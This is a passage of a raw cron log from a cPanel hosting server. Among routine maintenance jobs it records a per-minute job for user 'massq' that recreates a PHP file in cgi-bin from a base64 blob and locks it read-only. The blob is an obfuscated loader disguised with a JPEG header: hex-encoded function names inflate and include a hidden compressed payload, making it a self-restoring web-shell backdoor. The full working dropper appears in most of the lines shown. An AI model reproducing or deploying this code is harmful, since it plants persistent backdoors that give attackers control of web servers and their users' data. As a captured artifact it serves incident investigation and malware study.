aABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:05:01 server CROND[8217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:05:01 server CROND[8218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:06:01 server CROND[9061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:06:01 server CROND[9062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:06:01 server CROND[9063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:07:01 server CROND[9454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:07:01 server CROND[9455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:07:01 server CROND[9456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:08:01 server CROND[9979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:08:01 server CROND[9980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:08:01 server CROND[9981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:09:01 server CROND[10420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:09:01 server CROND[10421]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 12:09:01 server CROND[10422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:09:01 server CROND[10423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:10:01 server CROND[10822]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 12:10:01 server CROND[10825]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 12:10:01 server CROND[10827]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:10:01 server CROND[10829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:10:01 server CROND[10830]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 12:10:01 server CROND[10826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:10:01 server CROND[10831]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:10:01 server CROND[10828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:11:01 server CROND[11731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:11:01 server CROND[11732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:11:01 server CROND[11733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:12:01 server CROND[12115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:12:01 server CROND[12116]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 12:12:01 server CROND[12117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:12:01 server CROND[12125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:13:01 server CROND[12531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:13:01 server CROND[12532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:13:01 server CROND[12533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:14:01 server CROND[13020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:14:01 server CROND[13021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:14:01 server CROND[13022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:15:01 server CROND[13422]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:15:01 server CROND[13423]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:15:01 server CROND[13425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:15:01 server CROND[13429]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 12 12:15:01 server CROND[13433]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 12:15:01 server CROND[13428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:15:01 server CROND[13432]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 12:15:01 server CROND[13430]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 12:15:01 server CROND[13434]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 12:15:01 server CROND[13431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:16:01 server CROND[14298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:16:01 server CROND[14299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:16:01 server CROND[14300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:17:01 server CROND[14670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0h